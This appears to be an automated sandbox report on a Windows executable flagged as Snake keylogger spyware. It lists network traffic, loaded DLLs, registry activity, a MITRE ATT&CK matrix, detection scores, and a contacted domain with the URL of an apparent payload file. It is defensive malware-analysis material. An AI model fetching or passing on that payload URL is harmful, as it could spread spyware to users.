Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50199
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902

Source: unknown

HTTPS traffic detected: 185.181.116.217:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: iRmpdWgpoF.exe, 00000000.00000002.3551615041.000000000091E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs iRmpdWgpoF.exe
Source: iRmpdWgpoF.exe, 00000000.00000000.1698464986.0000000000344000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameYsrpl.exe, vs iRmpdWgpoF.exe
Source: iRmpdWgpoF.exe	Binary or memory string: OriginalFilenameYsrpl.exe, vs iRmpdWgpoF.exe

Source: iRmpdWgpoF.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal64.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe

Mutant created: NULL

Source: iRmpdWgpoF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: iRmpdWgpoF.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: iRmpdWgpoF.exe	Virustotal: Detection: 70%
Source: iRmpdWgpoF.exe	ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Section loaded: gpapi.dll	Jump to behavior

Source: iRmpdWgpoF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: iRmpdWgpoF.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Memory allocated: AB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Memory allocated: 2690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Memory allocated: 4690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Memory allocated: 5810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Memory allocated: B00000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe TID: 6616	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe TID: 6616	Thread sleep time: -600000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\iRmpdWgpoF.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: iRmpdWgpoF.exe, 00000000.00000002.3551615041.000000000098D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllw

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe

Queries volume information: C:\Users\user\Desktop\iRmpdWgpoF.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\iRmpdWgpoF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
iRmpdWgpoF.exe	71%	Virustotal		Browse
iRmpdWgpoF.exe	78%	ReversingLabs	Win32.Spyware.Snakekeylogger
iRmpdWgpoF.exe	100%	Avira	HEUR/AGEN.1351837
iRmpdWgpoF.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://balkancelikdovme.com	0%	Avira URL Cloud	safe
https://balkancelikdovme.com/uslasw/Opkvejbda.datd	0%	Avira URL Cloud	safe
https://balkancelikdovme.com/uslasw/Opkvejbda.datKUIVpispATTmL1p2t6X.hDJGqgr7DHHFMKQbI7	0%	Avira URL Cloud	safe
https://balkancelikdovme.com/uslasw/Opkvejbda.dattocqt5i	0%	Avira URL Cloud	safe
https://balkancelikdovme.com/uslasw/Opkvejbda.dat	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
balkancelikdovme.com	185.181.116.217	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://balkancelikdovme.com/uslasw/Opkvejbda.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://balkancelikdovme.com/uslasw/Opkvejbda.datd	iRmpdWgpoF.exe, 00000000.00000002.3554499810.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, iRmpdWgpoF.exe, 00000000.00000002.3554499810.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	iRmpdWgpoF.exe, 00000000.00000002.3552149421.0000000002691000.00000004.00000800.00020000.00000000.sdmp	false		high
https://balkancelikdovme.com	iRmpdWgpoF.exe, 00000000.00000002.3554499810.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, iRmpdWgpoF.exe, 00000000.00000002.3554499810.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, iRmpdWgpoF.exe, 00000000.00000002.3552149421.0000000002691000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://balkancelikdovme.com/uslasw/Opkvejbda.datKUIVpispATTmL1p2t6X.hDJGqgr7DHHFMKQbI7	iRmpdWgpoF.exe	false	Avira URL Cloud: safe	unknown
https://balkancelikdovme.com/uslasw/Opkvejbda.dattocqt5i	iRmpdWgpoF.exe, 00000000.00000002.3552149421.0000000002691000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.181.116.217	balkancelikdovme.com	United Kingdom		29017	GYRONGB	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588189
Start date and time:	2025-01-10 22:36:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	iRmpdWgpoF.exe renamed because original name is a hash value
Original Sample Name:	5d7e89b8db72156f0a75c96b371de14eb2ee4dc2148bc7a37e48b863e3ab50e3.exe
Detection:	MAL
